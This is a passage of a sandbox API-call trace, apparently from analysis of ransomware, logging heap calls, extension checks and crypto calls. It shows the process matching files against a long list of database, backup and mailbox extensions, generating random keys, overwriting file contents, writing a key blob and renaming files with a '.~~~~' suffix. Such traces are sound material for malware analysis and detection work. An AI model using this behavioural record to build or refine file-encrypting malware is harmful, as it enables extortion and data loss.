	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9880 | out: hHeap=0x300000) returned 1
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.363] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.363] GetLastError () returned 0x0
	[0084.363] GetLastError () returned 0x0
	[0084.363] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.364] GetLastError () returned 0x0
	[0084.364] GetLastError () returned 0x0
	[0084.367] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.367] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0084.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.368] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.368] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.369] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.369] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.369] CloseHandle (hObject=0x120) returned 1
	[0084.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8870
	[0084.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.~~~~")) returned 1
	[0084.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8870 | out: hHeap=0x300000) returned 1
	[0084.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.370] GetLastError () returned 0x0
	[0084.370] RtlWakeConditionVariable () returned 0x365f70
	[0084.370] GetCurrentThreadId () returned 0x3a4
	[0084.370] GetCurrentThreadId () returned 0x3a4
	[0084.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b89e0 | out: hHeap=0x300000) returned 1
	[0084.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0084.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b89e0
	[0084.370] lstrlenW (lpString=".scr") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".scr") returned 0x0
	[0084.370] lstrlenW (lpString=".cmd") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".cmd") returned 0x0
	[0084.370] lstrlenW (lpString=".dll") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dll") returned 0x0
	[0084.370] lstrlenW (lpString=".bat") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".bat") returned 0x0
	[0084.370] lstrlenW (lpString=".cpl") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".cpl") returned 0x0
	[0084.370] lstrlenW (lpString=".sys") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".sys") returned 0x0
	[0084.370] lstrlenW (lpString=".msc") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".msc") returned 0x0
	[0084.370] lstrlenW (lpString=".com") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".com") returned 0x0
	[0084.370] lstrlenW (lpString=".lnk") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".lnk") returned 0x0
	[0084.370] lstrlenW (lpString=".msp") returned 4
	[0084.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".msp") returned 0x0
	[0084.371] lstrlenW (lpString=".pif") returned 4
	[0084.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".pif") returned 0x0
	[0084.371] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.372] lstrlenW (lpString=".sqb") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".sqb") returned 0x0
	[0084.372] lstrlenW (lpString=".ost") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".ost") returned 0x0
	[0084.372] lstrlenW (lpString=".txt") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".txt") returned 0x0
	[0084.372] lstrlenW (lpString=".mdt") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".mdt") returned 0x0
	[0084.372] lstrlenW (lpString=".BDB") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".BDB") returned 0x0
	[0084.372] lstrlenW (lpString=".eql") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".eql") returned 0x0
	[0084.372] lstrlenW (lpString=".DBF") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DBF") returned 0x0
	[0084.372] lstrlenW (lpString=".EQL") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".EQL") returned 0x0
	[0084.372] lstrlenW (lpString=".FDB") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".FDB") returned 0x0
	[0084.372] lstrlenW (lpString=".EDB") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".EDB") returned 0x0
	[0084.372] lstrlenW (lpString=".DACPAC") returned 7
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DACPAC") returned 0x0
	[0084.372] lstrlenW (lpString=".VHD") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".VHD") returned 0x0
	[0084.372] lstrlenW (lpString=".DBV") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DBV") returned 0x0
	[0084.372] lstrlenW (lpString=".dacpac") returned 7
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dacpac") returned 0x0
	[0084.372] lstrlenW (lpString=".sdf") returned 4
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".sdf") returned 0x0
	[0084.372] lstrlenW (lpString=".accdb") returned 6
	[0084.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".accdb") returned 0x0
	[0084.373] lstrlenW (lpString=".DBX") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DBX") returned 0x0
	[0084.373] lstrlenW (lpString=".MDT") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".MDT") returned 0x0
	[0084.373] lstrlenW (lpString=".SQB") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".SQB") returned 0x0
	[0084.373] lstrlenW (lpString=".vhd") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".vhd") returned 0x0
	[0084.373] lstrlenW (lpString=".bac") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".bac") returned 0x0
	[0084.373] lstrlenW (lpString=".mdf") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".mdf") returned 0x0
	[0084.373] lstrlenW (lpString=".BAK") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".BAK") returned 0x0
	[0084.373] lstrlenW (lpString=".BAC") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".BAC") returned 0x0
	[0084.373] lstrlenW (lpString=".dbs") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dbs") returned 0x0
	[0084.373] lstrlenW (lpString=".vhdx") returned 5
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".vhdx") returned 0x0
	[0084.373] lstrlenW (lpString=".NDF") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".NDF") returned 0x0
	[0084.373] lstrlenW (lpString=".dat") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dat") returned 0x0
	[0084.373] lstrlenW (lpString=".DBS") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DBS") returned 0x0
	[0084.373] lstrlenW (lpString=".CKP") returned 4
	[0084.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".CKP") returned 0x0
	[0084.373] lstrlenW (lpString=".edb") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".edb") returned 0x0
	[0084.374] lstrlenW (lpString=".PST") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".PST") returned 0x0
	[0084.374] lstrlenW (lpString=".dbf") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dbf") returned 0x0
	[0084.374] lstrlenW (lpString=".SQL") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".SQL") returned 0x0
	[0084.374] lstrlenW (lpString=".pst") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".pst") returned 0x0
	[0084.374] lstrlenW (lpString=".dbv") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dbv") returned 0x0
	[0084.374] lstrlenW (lpString=".SDF") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".SDF") returned 0x0
	[0084.374] lstrlenW (lpString=".dtxs") returned 5
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dtxs") returned 0x0
	[0084.374] lstrlenW (lpString=".db3") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".db3") returned 0x0
	[0084.374] lstrlenW (lpString=".OST") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".OST") returned 0x0
	[0084.374] lstrlenW (lpString=".dbx") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dbx") returned 0x0
	[0084.374] lstrlenW (lpString=".DB3") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DB3") returned 0x0
	[0084.374] lstrlenW (lpString=".DAT") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DAT") returned 0x0
	[0084.374] lstrlenW (lpString=".VHDX") returned 5
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".VHDX") returned 0x0
	[0084.374] lstrlenW (lpString=".ndf") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".ndf") returned 0x0
	[0084.374] lstrlenW (lpString=".DB") returned 3
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DB") returned 0x0
	[0084.374] lstrlenW (lpString=".sql") returned 4
	[0084.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".sql") returned 0x0
	[0084.374] lstrlenW (lpString=".MYD") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".MYD") returned 0x0
	[0084.375] lstrlenW (lpString=".DBT") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DBT") returned 0x0
	[0084.375] lstrlenW (lpString=".ACCDB") returned 6
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".ACCDB") returned 0x0
	[0084.375] lstrlenW (lpString=".fdb") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".fdb") returned 0x0
	[0084.375] lstrlenW (lpString=".bak") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".bak") returned 0x0
	[0084.375] lstrlenW (lpString=".myd") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".myd") returned 0x0
	[0084.375] lstrlenW (lpString=".DTXS") returned 5
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".DTXS") returned 0x0
	[0084.375] lstrlenW (lpString=".ckp") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".ckp") returned 0x0
	[0084.375] lstrlenW (lpString=".dbt") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".dbt") returned 0x0
	[0084.375] lstrlenW (lpString=".db") returned 3
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".db") returned 0x0
	[0084.375] lstrlenW (lpString=".TXT") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".TXT") returned 0x0
	[0084.375] lstrlenW (lpString=".MDF") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".MDF") returned 0x0
	[0084.375] lstrlenW (lpString=".bdb") returned 4
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".bdb") returned 0x0
	[0084.375] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.375] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.376] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.376] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.376] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20436658789) returned 1
	[0084.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c20c790, dwHighDateTime=0x1d60e1e)) 
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9848
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.377] GetLastError () returned 0x0
	[0084.377] GetLastError () returned 0x0
	[0084.377] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.377] GetLastError () returned 0x0
	[0084.377] GetLastError () returned 0x0
	[0084.378] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffdab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.378] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x255, lpOverlapped=0x0) returned 1
	[0084.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.379] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.379] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.379] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.379] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.379] CloseHandle (hObject=0x120) returned 1
	[0084.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8928
